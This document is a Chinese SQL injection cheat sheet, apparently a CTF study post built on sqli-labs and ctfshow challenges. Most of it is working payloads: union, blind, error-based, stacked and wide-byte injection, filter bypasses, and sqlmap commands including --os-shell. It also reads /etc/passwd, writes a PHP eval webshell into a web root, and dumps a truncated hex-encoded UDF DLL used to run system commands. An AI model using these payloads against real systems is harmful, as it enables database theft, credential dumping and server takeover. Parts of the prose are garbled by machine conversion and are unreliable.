WEB--SQL
目次1.一样平常步调--联合注入
2.布尔盲注
3.时间盲注(延时注入)
4.报错注入
5.二次注入
6.堆叠注入
7.宽字节注入
8.关于sqlmap的使用
9.一些绕过
10.SQL注入会用到的函数
11.文件类型注入
12.update 注入
13.insert 注入
14.delete注入
15.UDF 注入
16.nosql 注入
参考
1.一样平常步调--联合注入
1.1.构造闭合
字符型，数字型，搜索型，混合型
1' // 出错
1' --+ // 不出错 ，单引号
数字型：
传入：?id=1 and 1=1 和?id=1 and 1=2
现象：1=1页面显示正常和原页面一样，而且1=2页面报错大概页面部门数据显示不正常
字符型：
传入：?id=1' and 1=1--+/#和?id=1' and 1=2--+/# // 解释也可换为 and '1'='1
现象：1=1页面显示正常和原页面一样，而且1=2页面报错大概页面部门数据显示不正常
搜索型
传入：?id=1%' and 1=1--+/#和?id=1%' and 1=2--+/#
现象：1=1页面显示正常和原页面一样，而且1=2页面报错大概页面部门数据显示不正常
混合型
传入：
现象：
1.2.判断段数
-1' order by 3--+
-1' union select 1,2,3--+
1.3.判断回显位
-1' union select 1,2,3--+ // SQL语句要在 字符型 位置
1.4.判断当前数据库
-1' union select 1,show database(),3--+
1.5.爆库
-1' union select group_concat(schema_name),2,3 from information_schema.schemata where --+ 1.6.爆表
-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='选定的库名'--+ 1.7.爆列
-1' union select group_concat(column_name),2,3 from information_schema.columns where table_schema='选定的库名'and table_name='选定的表名'--+ 1.8.爆字段
-1' union select "目标字段" ,2,3 from "选定的库名"."选定的表名" --+
-1' union select "目标字段" ,2,3 from "选定的表名" --+ // "选定的库名" 即为当前库
2.布尔盲注
length(),ascii(),substr()
特点：逗号 ,
爆数据库
?id=1'and length((select database()))>9--+
?id=1'and ascii(substr((select database()),1,1))=115--+
爆表，爆字段 同理，， 脚本建议用
3.时间盲注(延时注入)
sleep(5),if(),length(),ascii(),substr() // 在布尔盲注基础上加 if(1=1,sleep(5),1)
特点：
4.3.2 爆数据库
?id=1' and if(length((select database()))>9,sleep(5),1)--+
?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
一个一个猜麻烦，建议用脚本
4.报错注入
1.extractvalue报错函数和updatexml报错函数
extractvalue函数语法：
1' and (select extractvalue(1,concat(0x23,(注入点))))#
updatexml函数语法：
1' and (select updatexml(1, concat(0x23, (注入点)), 0x23))#
2.floor报错函数 ---- 表必须大于三条数据
1' and (select 1 from (select count(*), concat(0x23, (注入点), 0x23, floor(rand(0)*2))as x from information_schema.columns group by x)as y)#使用 round 或者 ceil 替换 floor
floor() 是向下取整，ceil() 是向上取整，round() 是四舍五入取整。
使用 ceil 函数，查表名：select count(*) from information_schema.tables group by concat(注入点,floor(rand(0)*2))
库，表，字段，flag
select schema_name from information_schema.schemata limit 0,1
select table_name from information_schema.tables where table_schema='geek' limit 0,1
select column_name from information_schema.columns where table_schema='geek' and table_name='l0ve1ysq1' limit 0,1
select password from geek.l0ve1ysq1 limit 0,13.函数exp()
函数exp()是以e为底的指数函数
~0表现对0举行按位取反
将0按位取反就会返回“18446744073709551615”，再加上函数成功执行后返回0的缘故，我们将成功执行的函数取反就会得到最大的无符号BIGINT值。
通过子查询与按位取反，造成一个DOUBLE overflow error，并借由此注出数据。
1" union select 1,2,exp(~(select * from (注入点)a))--+
1" union select 1,2,exp(~(select * from (select database())a))--+
1" union select 1,2,exp(~(select * from (select group_concat(table_name) from information_schema.tables where table_schema=database())a))--+
5.二次注入
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' 参考：SQL注入实战指南-CSDN博客
首先我们看到管理员账户，admin，密码是1,但是通常情况下我们是不知道密码的，只能猜测管理员账户的admin
https://i-blog.csdnimg.cn/direct/88bb7bab8db34e5a9e8320ef87e4804c.png
我们可以注册一个账号名叫admin'#。可以看到我们成功将有污染的数据写入数据库。单引号是为了和之后密码修的用户名的单引号举行闭合，#是为了解释后面的数据。
https://i-blog.csdnimg.cn/direct/b5634dd038194dadb42406df1bca227c.png
之后可以使用用户名admin'#和密码是123456登录，进入修改密码页面。原始密码输入123456，新密码我输入的是111111，可以看到密码修改成功。
https://i-blog.csdnimg.cn/direct/0c4ffd93949a4f3faefaacf449b892d2.png
当我们数据库查察的时候发现修改的是管理员的密码。而不是我们的注册账户的密码。
https://i-blog.csdnimg.cn/direct/374d7d68510d475f99be2f666c5fbe02.png
6.堆叠注入
堆叠注入要求可以支持多条sql语句同时执行。
其他sql注入只能查询数据，堆叠注入可以举行增删改查。 // ;
以mysql数据库为例，假如使用mysqli_multi_query函数，该函数支持多条sql语句同时举行。
6.1修改数据库
?id=1';insert into users(id,username,password) values ('38','less38','hello')--+ 不同数据库修改库名方式不同
修改库名
SQL Server
ALTER DATABASE old_database_name MODIFY NAME = new_database_name;
修改表名
-- 将原表名 old_table_name 修改为 new_table_name
RENAME TABLE old_table_name TO new_table_name;
修改列名
-- 使用 CHANGE 修改列名
-- 将原列名 old_column_name 修改为 new_column_name，同时可以修改列的定义
ALTER TABLE table_name
CHANGE old_column_name new_column_name VARCHAR(255);
-- 如果只修改列名，列的定义不变，可以这样写
ALTER TABLE table_name
CHANGE old_column_name new_column_name old_column_type;
修改列值
1;update(ctfshow_user)set`username`=1,`pass`=1; handler语句 也可以修改表名
6.2handler语句及用法
handler是mysql的专用语句，没有包含到SQL标准中，但它每次只能查询1次记录，而select可以根据需要返回多条查询效果。
hander `表名` open; // 打开一个表
handler`表名`read frist; // 查询第一个数据
handler`表名`read next; // 查询之后的数据直到最后一个数据返回空
hander `旧表名` open as `新表名` ; // 打开一个表
后面改表名的步调也可替换为用handler语句去解决，即：
1';
handler`1919810931114514`open as`a`;
handler`a`read next;
当然不改表名也是可以的，我们打开有flag的这个表并查询它，即：
1';
handler`1919810931114514` open;
handler`1919810931114514`read next;
6.3prepare + execute预处理惩罚
PREPARE 语句准备好一条 SQL 语句，并分配给这条 SQL 语句一个名字供之后调用，通过EXECUTE 命令执行，最后使用 DEALLOCATE PREPARE 命令释放。
payload：
0';prepare myon from concat("sel","ect * from `ctfshow_flagasa`");execute myon;#
新增过滤 show 和括号，接纳十六进制绕过。
查表名：
0';prepare myon from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;execute myon;#
7.宽字节注入
当某字符的巨细为一个字节时，称其字符为窄字节。当某字符的巨细为两个字节时，称其字符为宽字节。全部英文默认占一个字节，汉字占两个字节。
数据库使用一些转义函数，在引号前面主动加上\。由于数据库接纳GBK编码， \的url编码是%5c，以是会认为 %df%5c 是一个宽字符，也就是縗。
那么在碰到过滤的字符时，可在其前面加%df，如单引号，%df%27
8.关于sqlmap的使用
支持类型：布尔盲注、时间盲注、报错注入、联合查询注入、堆叠注入
语法：sqlmap [参数] [参数] …
常见参数：
# 获取目标方式
-u--指定目标url
-m--指定目标url文件
-l--把burpsuite日志直接倒出来给sqlmap检测
-r--从一个文本中获取http请求，https时配合--force-ssl参数使用
-g--测试注入google的搜索结果中的get参数
--batch自动处理参数
# http数据
--data--指定数据以POST方式提交
--cookie--指定cookie，在需要登录时需要指定，level参数2及以上才会尝试cookie参数注入
--param-del--指定字符分割测试参数
--user-agent--指定user-agent头，level参数3及以上才会尝试user-agent参数注入
--referer--指定referer头，可伪造，level参数3及以上才会尝试user-agent参数注入
--headers--增加额外的http头
# 探测
--level--从1-5，影响测试的注入点
--level: 设置测试的等级，一共有5级。
1：默认
2：检测cookie
3：检测user-agent
4：检测refere
5：检测host
# 风险等级
--risk--从1-5，影响测试语句
# 注入技术
--technique--指定注入技术，B布尔注入、T时间延迟注入、E报错注入、U联合查询注入、S堆叠注入
# 列数据
--dbs--列出所有数据库名
--current-db--列出当前数据库名
-D dvwa -tables--列出dvwa数据库的所有表
-D dvwa -T users –columns--列出dvwa数据库users表的所有列
-D dvwa -T users -C “user,password” –dump--列出dvwa数据库users表user、password列的所有内容
-b--返回数据库版本号
--current-user--返回用户名
--users--返回数据库管理用户
--passwords--列出并破解数据库用户的hash
--privileges--列出数据库管理员权限
--roles--列出数据库管理员角色
--safe-url：该参数用于指定一个安全的 URL，在对目标进行测试之前，工具会先访问这个安全链接。这通常用于绕过一些访问限制，比如某些网站需要先进行身份验证或者获取特定的令牌才能访问后续页面。
--safe-preq=1：此参数指定访问安全链接的次数为 1 次。
--os-shell 参数告诉 sqlmap 在发现并使用 SQL 注入漏洞后，尝试获取一个操作体系 shell。
8.1get方式注入
python sqlmap.py -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" --batch
探测数据库
sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" --dbs
探测当前数据库
sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" --current-db
探测指定数据库全部表名
sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" -D security --tables
探测表名
sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" -D security -T users
探测字段名
sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" -D security -T users -columns
探测字段值
sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" -D security -T users -C password,username –dump
注意：建议都加上 --batch 主动处理惩罚参数
8.2post方式注入
sqlmap -u "http://192.168.116.128/sqli-labs/Less-11/" --data="uname=1&passwd=2&submit=Submit"
或 可以抓取http数据包生存为post.txt文件，执行sqlmap -r post.txt
8.3其他方式
# http数据
--data -- 指定数据以POST方式提交
--cookie -- 指定cookie，在需要登录时需要指定，level参数2及以上才会尝试cookie参数注入
--param-del -- 指定字符分割测试参数
--user-agent -- 指定user-agent头，level参数3及以上才会尝试user-agent参数注入
--referer -- 指定referer头，可伪造，level参数3及以上才会尝试user-agent参数注入
--headers -- 增长额外的http头
如PUT方式：--method="PUT"
需要加上--headers="Content-Type: text/plain"，否则是按表单提交的，put接收不到，并且这里 api 后面需要加上 index.php，
python sqlmap.py -u http://192.168.116.128/sqli-labs/Less-11//api/index.php --method="PUT" --data id=1 --referer https://1f1d5d23-fe13-43de-b12e-895e89af3af9.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch --headers="Content-Type: text/plain"
8.4Tamper脚本注入
在usr/share/sqlmap/tamper目次下有各种脚本文件。Sqlmap可以指定脚本举行过滤。可自定义脚本。
sqlmap -u "http://192.168.116.128/sqli-labs/Less-28/?id=1" --tamper="sqli-labs-28.py" –dbs
8.5指定sql语句注入
sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" --sql-shell
9.一些绕过
ffifdyop 一个神奇的字符串
经过md5加密后为 276f722736c95d99e921722cf9ed621c
在转为字符串时会出现乱码 'or'6É]é!r,ùíb
也可以在 union select 里再嵌套一个 select ：
0' Union Select 1,(Select password from ctfshow_user where username='flag'),'3
在某种环境下，不需要解释
查询时避免影响，前面的数字尽量是无效果的。如 -1 等
最快方式：1'or 1 --+ ，然后Ctrl+f搜索
1'||1--%0c
%01 到 %08都行
replace(),当查询不允许出现某些字符，可将效果中的这些字符的替换为其他
9.1解释
--+
#(注意编码%23)
--%0c (%0c 代替空格) %01 到 %08都行
-1' and '1'='1， |，||，&&，&，or
-1' and '1 , -1' or '0
其他解释：/ * 我是多行解释 */
MySQl特有：/*!版本号 SQL语句 */ ，/*+ STRAIGHT_JOIN */
多行解释可以当空格用
9.2空格(%0c)绕过
/**/ ,%0a换行符,%09程度制表符，%0b竖直制表符，%0c换页符，%0d回车符,()中英文括号
%a0不换行空格，使用两个空格,多行解释
9.3等号绕过
1.使用like
2.使用!<>,因为<>是不等于
3.regrep (正则表达匹配)
4.between a and b ：范围在a-b之间 （也可用于 = 绕过：id between 1 and 1 与 id = 1 效果雷同）
9.4关键词过滤
巨细写绕过，双写绕过，编码绕过。比方ununionion，selselectect，uniunion selecton select，UnIon，SelECT
9.5逻辑运算符过滤
or使用||代替，and使用&&代替 ，xor使用|代替，not使用!代替
9.6引号过滤
使用十六进制，宽字节
?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x7573657273--+（sqli-labs32关）
9.7逗号过滤
from的方式
在使用盲注的时候，需要使用到substr(),mid(),limit,这些子句方法都需要使用到逗号
1.对于substr、substring()和mid()方法可以使用from的方式来解决
?id=1'and ascii(substr((select database()),1,1))=115--+
?id=1'and ascii(substr((select database())from 1 for 1))=115--+
使用join
union select 1,2 可以使用下面的句子代替
union select * from (select 1)a join (select 2)b
?id=-1' union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C)--+
limit
使用offset绕过limit 1offset0
9.8函数过滤
hex()、bin() 、ord()==> ascii() // 实在不可，直接判断字符
sleep() ==>benchmark()，正则 DOS RLIKE注入，Mysql 举行笛卡尔算积使其造成大负荷查询到达延时的效果
concat_ws()==>group_concat()
mid()、substr() left() right() lpad() rpad()==> substring()
@@user ==> user()
@@datadir ==> datadir()
正则 DOS RLIKE注入
rlike 也可以用 regexp 代替
delay = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike concat(repeat('(a.*)+',6),'b')"
笛卡尔算积使其造成大负荷查询到达延时的效果
payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxca'), {j}, 1) = '{k}',( select count(*) from information_schema.columns A, information_schema.columns B ),0)"} # 猜列名
9.9大于小于等于
1.greates(n1,n2,n3,...): 返回n中的最大值
?id=1'and greates(ascii(substr((select database()),1,1)),114)=115--+
2.least(n1,n2,n3,...): 返回n中的最小值
3.strcmp(str1,str2): 若全部的字符串均雷同，则返回STRCMP()，若根据当前分类次序，第一个参数小于第二个参数，则返回-1，其他情况返回1
4.in 关键字，str1 in str2 字符串1是否在字符串2中
9.10http参数污染绕过
函数查抄的时候只查抄第一个参数，但是$id=$_GET['id']取的是最后一个id，以是我们只需要把payload放在后面的id就好。
?id=1&id=-2%27 union select 1,group_concat(column_name),3 from%20information_schema.columns where table_schema=database() and table_name='users'--+（sqli-labs29关）
9.11having代替
新增过滤掉了 where ，使用 having 代替：
having 是从前筛选的字段再筛选，而 where 是从数据表中的字段直接举行的筛选的，假如已经筛选出了某个字段，这种情况下 having 和 where 等效，但是假如没有 select 某个字段，后面直接 having 这个字段，就会报错。
select goods_price,goods_name from sw_goods where goods_price > 100
与
select goods_price,goods_name from sw_goods having goods_price > 100
等效但是
select goods_name,goods_number from sw_goods where goods_price > 100
正常
select goods_name,goods_number from sw_goods having goods_price > 100
报错，因为前面并没有筛选出 goods_price 字段
9.12 数字绕过
数字 1，2：
concat(true) concat(true%2btrue) 字母 char(true+ture+true) ,字母间用concat()连接
concat(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true)) ascii('%0n')
ascii('%01') ascii('%01') 就相当于 1，因为 flag 长度肯定是几十位，因此会涉及到二位数，我们可以使用 concat 函数拼接，好比 21 就是： concat(ascii('%02'),ascii('%01'))
转换函数：
def convert(v):
v = str(v)
return "concat(" + ",".join() + ")"
9.12无列名注入---information_schema 库替换
使用 mysql.innodb_table_stats 和 mysql.innodb_index_stats 代替，它们是 MySQL 内部的体系表，用于存储 InnoDB 引擎相关的统计信息，内容与 information_schema.tables 雷同，也可以用来获取数据库中的库名和表名，这两个表都包含了 database_name 和 table_name 字段。
查表名：
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()# 但是 mysql.innodb_table_stats 和 mysql.innodb_index_stats 下不包含列名信息，这里需要接纳无列名注入：
注意：2 这里是反引号
(select group_concat(`2`)from (select 1,2,3 union select * from flag23a1) as a)#
内层：(select 1,2,3 union select * from flag23a1) as a 会生成了一个临时表，由 select 1, 2, 3 创建的三列数据和 select * from flag23a1 得到的 flag23a1 表中的全部列拼接形成，别名 a 用于引用该临时表。
外层：select group_concat(`2`) from... 会将效果集中全部第二列的数据连接起来，查询返回表 flag23a1 中第二列的数据连接值。
实在 as 是可以省略的，只是为了加强可读性我们一样平常不省略。反引号过滤了就
(select group_concat(myon) from (select 1,2 as myon,3 union select * from flag23a1) as a)#
10.SQL注入会用到的函数
10.1mysql数据库根本函数
#MySQL数据库版本
version()
#数据库用户名
user()
#当前数据库名
database()
#数据库安装路径
@@basedir
#数据库文件存放路径
@@datadir
#操作系统版本
@@version_compile_os
10.2union联合注入函数
函数concat()
语法：concat(str1,str2,…)
拼接字符串，直接拼接，字符之间没有符号
函数concat_ws()
语法：concat_ws(‘separator’, str1, str2, …)
指定符号举行拼接
函数group_concat()
group_concat(username)
将username中的内容以逗号隔开显示出来
10.3sql盲注函数
10.3.1布尔盲注函数
函数length()
返回指定对象的长度
length(database())返回当前数据库名的长度
函数left()与函数right()
left(str,num)：对字符串str从左开始数起，返回num个字符（与函数right()相反）
函数substr()
substr()和substring()函数实现的功能是一样的，均为截取字符串。
substr(database(),1,1),查察数据库名第一位，substr(database(),2,1)查察数据库名第二位，依次查察各位字符。
函数mid()
与substr()函数用法雷同
函数ascii()
返回字符串str的最左字符的数值，ASCII()返回数值是从0到255
函数ord()
与函数ascii()雷同，返回字符串第一个字符的 ASCII 值。
10.3.2时间盲注函数
函数sleep()
sleep(5) 过5s相应
函数if()
if(1=1,3,4) 返回3
if(1=2,3,4) 返回4
10.4报错注入函数
函数floor()
函数floor()，向下取整
floor(3.8) = 3
函数rand()
取随机数，如有参数x，则每个x对应一个固定的值
rand(0) = (0,1)内的任意一个数
函数exp()
函数exp()是以e为底的指数函数
~0表现对0举行按位取反
将0按位取反就会返回“18446744073709551615”，再加上函数成功执行后返回0的缘故，我们将成功执行的函数取反就会得到最大的无符号BIGINT值。
通过子查询与按位取反，造成一个DOUBLE overflow error，并借由此注出数据。
1" union select 1,2,exp(~(select * from (select database())a))--+
1" union select 1,2,exp(~(select * from (select group_concat(table_name) from information_schema.tables where table_schema=database())a))--+
函数updatexml()
updatexml(XML_document, XPath_string, new_value);
第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc
第二个参数：XPath_string (Xpath格式的字符串) ，假如不了解Xpath语法，可以在网上查找教程。
第三个参数：new_value，String格式，替换查找到的符合条件的数据
select updatexml(1,concat(0x7E,(select database()),0x7E),1); 函数extractvalue()
extractvalue(XML_document, XPath_string);
第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc
第二个参数：XPath_string (Xpath格式的字符串).
在数据库中报错
select extractvalue(1,concat(0x7E,(select database()),0x7E));
select extractvalue(1,concat(0x7E,(select group_concat(username) from users),0x7E));
10.5读写文件函数
函数load_file()
作用：load_file这个函数是读取文件的
#读取文件/etc/passwd （还可以查看其他文件，需要相应的权限）
#路径可以为这两种格式"\\"与"/"，
union select 1,2,load_file('/etc/passwd')
函数into outfile
作用：函数into outfile 与 into dumpfile都是写文件
#在/var/www/html新建文件a.php，在将一句话木马写入
union select 1,2,"<?php @eval($_POST);?>" into dumpfile '/var/www/html/a.php'
1'into outfile '路径' + lines terminated by + <木马>
1'into outfile '路径' + lines starting by + <木马>
1'into outfile '路径' + fields terminated by + <木马>
1'into outfile '路径' + columns terminated by + <木马>
10.6其他相关的PHP函数
函数addslashes()
作用：函数返回在预定义字符之前添加反斜杠的字符串
预定义字符是：
单引号（’）
双引号（"）
反斜杠（\）
NULL
函数stripslashes()
作用：stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。
函数get_magic_quotes_gpc()
作用：函数get_magic_quotes_gpc()用于获取当前 magic_quotes_gpc 的配置选项设置
对于magic_quotes_gpc=on的情况， 我们可以不对输入和输出数据库的字符串数据作 addslashes()和stripslashes()的操作,数据也会正常显示。 假云云时你对输入的数据作了addslashes()处理惩罚， 那么在输出的时候就必须使用stripslashes()去掉多余的反斜杠。
对于magic_quotes_gpc=off 的情况 必须使用addslashes()对输入数据举行处理惩罚，但并不需要使用stripslashes()格式化输出因为addslashes()并未将反斜杠一起写入数据库，只是资助mysql完成了sql语句的执行
函数mysql_real_escape_string()
作用： 转义 SQL 语句中使用的字符串中的特殊字符
下列字符受影响：
\x00
\n
\r
’
"
\x1a
11.文件类型注入
后台会通过读取文件内容判断文件类型，记录到数据库，对文件举行重命名。新建一个 txt 文件，写入如下内容：
C64File "');select 0x3c3f3d60746163202f662a603f3e into outfile '/var/www/html/myon.php';--+
C64File 是与 Commodore 64 相关的文件类型，之后闭合，写入 sql 语句，其中
3c3f3d60746163202f662a603f3e 为我们想要执行的命令的十六进制形式。
https://i-blog.csdnimg.cn/direct/69e44a8ec12a4bef867d1d23497f6a69.png
12.update 注入
拼接的是 update 语句
//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';"; 先是在 password 的位置闭合前面单引号，解释后面单引号，尝试查数据库名：
password=database()',username=111#&username=222 测试了一下发现 username 存在注入点
password=111&username=1'or sleep(3)#
由于这次的注入点在第二个参数，where 后面出来的内容我们根本就看不到，没有回显，这也是为什么我们前面要接纳盲注，而 update.php 的回显是根据 set 那里出来的，那么如何让注入跑到第一个参数那里去呢？
password=\&username=,username=database()#
看原始的 sql 语句：
set pass = '{$password}' where username = '{$username}';
拼接后：
set pass = '\' where username = ',username=database()#';
第二个单引号被转义了，也就是说 pass 被设置成了 ' where username =
而 set 的 username 为 database()
13.insert 注入
查询语句：
//插入数据
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";我们需要闭合单引号和括号
添加，查数据库名，payload：
1',database())#
14.delete注入
//删除记录
$sql = "delete fromctfshow_user where id = {$id}"; 这里是 delete 语句，查询出来的东西不会有回显，因此接纳盲注。假如接纳布尔盲注，我们需要根据页面的回显情况来判断，但是数据只有 21 条，并不够我们删除，还没查出效果数据就会被删完，因此接纳时间盲注，通过延时来判断。
特殊注意延时的控制，测试 payload：
等于 0 的 id 没有，因此前面不建立，不会执行删除操作，而是执行后面语句。
id=0 or sleep(0.1)
payload = {'id':f"0 or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {j}, 1) = '{k}',sleep(0.18),0)"} 15.UDF 注入
udf 全称为：user defined function，意为用户自定义函数；用户可以添加自定义的新函数到 Mysql 中，以到达功能的扩充，调用方式与一样平常体系自带的函数雷同，比方 contact()，user()，version()等函数。udf 文件后缀一样平常为 dll，由 C、C++ 编写。
我们需要将 UDF 的动态链接库文件（xxx.dll文件）放到 MySQL 的检索目次下才能创建自定义函数，对于不同版本的 mysql，检索目次是不同的：
版本路径MySQL < 5.0导出路径随意；5.0 <= MySQL< 5.1 需要导出至目标服务器的体系目次（如：c:/windows/system32/）5.1 < MySQL必须导出到MySQL安装目次下的lib\plugin文件夹下查一下数据库版本:
/api/?id=0';select version();%23
/api/?id=0';select @@plugin_dir;%23得到路径为：\/usr\/lib\/mariadb\/plugin\/
sqlmap 中现有的 udf 文件，分为 32 位和 64 位，附上 sqlmap 中提取的 udf 文件：
这里是十六进制形式流
（1）lib_mysqludf_sys_32.dll
SELECT
0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a24000000000000004d477bd0092615830926158309261583005e86830b261583005e808308261583005e968307261583005e91830b2615832ee06e830a2615830926148325261583005e9c8308261583005e878308261583005e8483082615835269636809261583000000000000000000000000000000000000000000000000504500004c0103004afe9f5a0000000000000000e00002210b010900001000000010000000600000607c0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020000000000100000100000000010000010000000000000100000007c83000008020000b4820000c800000000800000b402000000000000000000000000000000000000848500001000000000000000000000000000000000000000000000000000000000000000000000002c7e00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000000000000000000000000000800000e0555058310000000000100000007000000010000000040000000000000000000000000000400000e02e7273726300000000100000008000000006000000140000000000000000000000000000400000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e393100555058210d090208b92bcf11b11ceea24f550000560c000000220000260000a8ffffffff8b4c240833c03901741656578b7c24146a0c59be000010dcf3a566a55fb0015e5dfb77fbc38b44240c1a6a071611108bf8183218ff63db6f1ca45fc7011e1200210883380175128b40040df6776f0700750a1004c6000132c0c3530abf1df68d3c3053a454082d08ff30ff15fff6ee776c885985c075085614c601011bc8568d71018a11fd6fdffe4184d275f98b54142bce890a32558bec8b4d0c833902b7d860bf5374148b7d10915c5453eb4cbf9dbddf8b417d740f1b707c1bebe5836004dbb1ffb7001a0c8b48048b008d4401025072a0594c08dfc8d7b5891678113006a44ceb6c57beb7b2b85f5e5da30421740833dbb63ff6a8591353568b742410d878534602db85db5bb6460851c78d5c4257e8240b75eeeebfe01400c604070008ff70041e0553b1db1b921a22c418535720030054090f09b7086a995b0f98599954cf2d343713b8f4540b1edeb60d818403552251519d35dffed6fedf576800f762d66a018945fc068bf08b4560dd7ff70cc606004533ff595939387471683cc071c6fedfda9c12260c3bc7745b506a04ff75fc149073e1edd7a9fd48533afc8d48911040b963dbff2bc18bd88d043b505630f8268c5330d8ad8dbd5f03fe570e940de57df8463fe6364c2066ba5b1810a4803e0059169eb0ff741a8bc6c64437ff00594d1489c906987bebd86f183e5f205ec9c3eed7b235dcbaf37d574708c45030087bdbdacdc9c26a4078c710548d4601b9e07e614251724f0856ff31cf6bafdd9db694c66aff8dc32082f63a58b0b6030d092c23005f7cc36e57036c6a081d1290ac0aa88365fc2f6c2f2c2d4592d0eb071b408f65e8c70bbfd66e42feff000d1fedc25e3bffdb17b60d08209a02f3c3e90806f58bff56688000002d8c6d675880985608845aa3bde0febb062358045485f675054daa83260076fbb7db4508c36f08ed09acc704240607ff0b4c113637598d71ffcf9c0bbf77dfc9750e39056b107e3cff7310830b01fbeec6bb8b0910548b098f57890a23480f85d47d618cbbad641718068b79040838071b76edeebb1e50eb184aa705b8e61768b0b030d8e803a83c0957c1d6bbaeb5d6a1e7e9e2573ca12f4c6a6ff777c3025efd096a1fee76eb3caa10c80475ed7befc0c7051f281a70e027071bdff79d5cb520bc04b81b6a5635b952eb782b7339b2e3696ff7defd7340393d155c741c68062809ac43db6b85850d9e1034252316ffe666f862f154b201dc0801592cc2b1a1db78049ddfdbf62413d90fd4fc83f80266b16f6cb0d2595bffa0584b77783bb5783106350f8487c71996ee4cd3543bf81810897d82efc796be35fac87251833f8af36a7c398587b4f10774e9ffc8d60f7c89c5db9bb5d955f85615441b474ded5be38ef88a394d1003d00874b48909437aa36d020c1ad3f8eba71c3162cc5a64442e386161fb0a58064c32fc19503f1bdf720443375bc9c20cc710fb02231fb2288b2ef28b5d081cae0fdb9b54e433c95cfc7d2008016c2dc6c23bf15a393a4417e4d61bfe7fafae3bf0740583fe02752e1910d03bc1e7166eb8ed57565fd03b5ee40003937b703b67115a039614168012376c7d270a8227fea0246420575062b30d661327002f527f8df61ad2061153f76a037543b067bb614f34032168742e2c0d2c3cec257feb1b71ec5a09706a7c6faae05051597c64825d900eadf62ffa8a19066b8f91b6c72ae490c396ec1640e134a9ff3b246abb41c1f17926547dbc550c0d381e33bc05bc595d382281ec2832f7869f365f212043211c895e2118891d05f78ec243143c21a2aa210c668c186c5ffbda3806252c0620080605dd2dcdd20425002d7ffc9c8f7ab6b1f6143095562407042831d6fedb7f0807348b85e0fca0aa701ddbb5b395011c1920241318092b18476a565f201cb360c32c9f7b8985d8320a04dc03b557e01b243468dedfd1f7d8d360ce2879d40a2c833d208dbdc3da00f923685b1b300bdfaf67f534c97f23401ec25f6a4849918f144a50152e9df458aaf8a29c10f3eb67611c7e052c37d4598feded8321b9273551e0f5ee3bdc0abf03e4507f4b8417185bdb7e600bce1cdc142cd6e288b154b609e01b14f413160a4bdb313ddcdbffdc84676cc859d94e1e07f7d81bf076bbb7c00359485d1656b8bc18be04a3638b6f2af83bc673080753025073d85f60835a3bfe72f15f5e25206c6053c820cc006f35b4dd452bb84d5a346627040b85bf2b5e6e413c03c1813850e45fefa5ecfffb33d2b90b011c48180f94c28bc25dc33fb702bf35e34831c80fb74114ae057106c1a55b6c33578c081817761bffff2ff1d7487bf972098b580803d93bfb720a4283c0283bd67270ca36b5e86ae55dc38f6afef0cd71f7a970040b056418005083ec080db7c670082f316c33c576f0852f06df64a31a89b90968555db7f081f0b2091c6b04f555972dd12c937d1350195c083b04e1c26f2724c1e81ff715e0018fefb6532b034f230059948be55dc3621ddb49a301ca3dafc0fae99525242631ccff29343232b61058054c50ac2cb41e97af12b60